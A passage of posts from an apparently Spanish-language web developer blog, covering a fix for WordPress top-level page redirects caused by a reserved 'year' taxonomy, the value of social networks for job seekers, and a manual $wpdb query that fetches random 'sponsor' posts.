Despues de enviarlo, iTunes lo encolará para revisarlo, si es aprovado por iTunes, este aparecera en el directorio de iTunes y serás notificado via email.

 


  • 0

Solución a Redirección de páginas de primer nivel

Tags : 

WordPress muchas veces nos trae inconvenientes que son difíciles de diagnosticar sin tener en cuenta la forma de que se realizo el theme. Para eso tenemos que tener en cuenta muchas consideraciones y es en base a eso que vamos a comentar las soluciones a las redirecciones de paginas de primer nivel.

No se hablará de todo lo relacionado a redirecciones ya que es un tema muy profundo y no es el objetivo de este post.

Cuando nos encontramos con que las redirecciones de wordpress funcionan correctamente pero solo en ciertas paginas/posts tenemos que tener especial cuidado de los plugins que tenemos instalados.

En nuestro caso nos pasó que las paginas linkeaban correctamente cuando estas eran hijas de alguna otra. Pero cuando queríamos acceder a paginas de primer nivel la redirección iba directamente al home.

Los pasos que se hicieron para encontrar la solucion fueron los siguientes:

  • Cambiar a algún template default para ver si el problema persiste. En nuestro caso el problema era el theme propiamente dicho.
  • Habilitar el debug en wp-config para ver si aparecía algún nuevo error.
  • Verificar que functions.php este bien escrito y sea 100% acorde a los standares de wordpress
  • Prestar especial atencion a los custom post types y custom taxonomies generados en functions.php (https://codex.wordpress.org/Function_Reference/register_taxonomy)
  • En nuestro caso el error se dio porque registraban una taxonomía que era reservada para wordpress (year)
  • Cambiando esto y regenerando nuevamente los permalinks se soluciono el problema

Espero que la solución dada le sea de utilidad a algún desarrollador mas.


  • 0

La importancia de las redes sociales

Tags : 

Al día de hoy las redes sociales han cobrado mucha importancia, y han adquirido un valor fundamental en nuestras vidas. Antes cuando queriamos conseguir trabajo con el CV bastaba y uno no necesitaba tener otra cosa organizada y bien redactada. Con la llegada de estas redes esto ha cambiado; hoy por hoy los encargados de recursos humanos miran mas allá de un CV y ponen especial énfasis en las redes sociales. Es por eso que la importancia de las redes sociales es un tema que hay que tratarlo con cuidado y tratar de sacar el mayor provecho posible a todo este nuevo sistema.

Empecemos por casos concretos: se ha sabido de gente que no las han contratado por tener fotos en donde aparecían en mal estado o donde publicaban posts/tweets desafiantes y con un lenguaje no acorde a un profesional. Es así y hoy tenemos que tener mucho cuidado en las cosas que publicamos si queremos que una empresa nos contrate; sino tenemos que tener mayor cuidado a la hora de saber quien puede ver eso. Si solo nuestros amigos o todo el mundo.

Mas allá de eso las redes sociales han cobrado mucha importancia a la hora de mostrar nuestros desarrollos, como así también la unión de todas estas para que juntas puedan tener un beneficio aún mayor. Para ello tenemos que estar al día de las nuevas redes sociales que van cobrando protagonismo en esta carrera que tienen para ver cual es la mejor. Existen 5 redes sociales que no las podemos dejar de lado y estas son

  • Linkedin: Red social para profesionales principalmente donde nuestro CV esta online y podemos contactarnos con gente que tienen nuestros mismos intereses.
  • Facebook: La mayor red social en donde se comparte todo. Podemos profesionalizar nuestro perfil y adecuarlo a lo que queremos mostrarle a nuestros clientes.
  • Twitter: La mayor red social de microblogging. Está cobrando mucha importancia debido a su fácil uso y eficiencia.
  • Pinterest: Nueva red social, la cual está basada en imágenes. Ideal para nuestro portfolio.
  • Google+: La red social de google, en donde tenemos muchísimas opciones para compartir, todavía no esta teniendo el éxito que todos creíamos iba a tener.

Me puedo estar olvidando de alguna pero es imprescindible que a la hora de crear nuestros perfiles podamos conectarlos y entre todos obtener una valiosa herramienta, para así poder captar mayor cantidad de clientes. social-networking-users-SeoCustomer3 Estos datos son basados en consultoras en donde informan de la cantidad real de usuarios de estas redes sociales. Podemos estar de acuerdo o no en la importancia de estas redes sociales, pero estas llegaron para quedarse por un buen tiempo y no podemos desaprovechar esto a la hora de crear nuestro perfil y de no integrarla entre ellas. En otros posts hablaré de como integrar todas estas redes sociales y sacarle nuestro mayor provecho a la hora de desarrollar un producto o armar nuestro CV y dejar público aquello que realmente queremos que se vea.

Consejo para desarrolladores: Ofrecerle a nuestro cliente la forma de integrar estas redes sociales a vuestro sitio y sino tiene ninguna red social ofrecerle un combo en donde su negocio se beneficiará con el uso de estas. Hoy existen herramientas para integrar todas estas redes sociales y poderlas manejar desde un mismo lugar.


  • 0

Agregar posts manualmente en wordpress

Es de común pedido por parte de los clientes el agregar varias clases de posts en una misma página. Para ello se utiliza la sentencia «query_posts($args)» o sino «$query = new WP_Query($args)» donde «$args» son los argumentos pasados a las funciones wordpress para estas queries o consultas. Pero esto suele tener algunos inconvenientes y a veces necesitamos agregar posts manualmente en wordpress.

También se suele utilizar algún orden específico, fecha, id, custom field, etc; pero desde hace un tiempo se utilizan algunos plugins para ordenarlos en forma manual, el cual utilizan «drag & drop» y así le dá al usuario un nivel mas de customización.
Pero estos plugins por lo general agregan funciones y filtros que pueden bloquear algunos ordenes utilizados en otros lugares.

Es por eso que es siempre útil conocer la sintáxis de wordpress a la hora de realizar queries manualmente. Es algo tedioso tener que usar queries manuales ya que si en alguna actualización de wordpress cambia la base de datos esto dejará de funcionar. Pero esto nos puede sacar de un apuro en caso de que un cliente asi lo requiera.


global $wpdb;
global $post;
 $querystr = "
    SELECT * 
    FROM $wpdb->posts
    WHERE $wpdb->posts.post_status = 'publish' 
    AND $wpdb->posts.post_type = 'sponsor'
    ORDER BY RAND()
	LIMIT 4
 ";
$pageposts = $wpdb->get_results($querystr, OBJECT);


  if ($pageposts):
   global $post; 
 foreach ($pageposts as $post): 
     setup_postdata($post); 
 the_title(); 	

endforeach;
endif;

>

Como vemos en el ejemplo lo que estamos solicitando es obtener 4 posts random que sean del custom post type «sponsor». Despues mostramos solo el título como ejemplo pero podemos mostrar lo que quisieramos.


Explorar el mundo y ser audaz es nuestra mayor fortaleza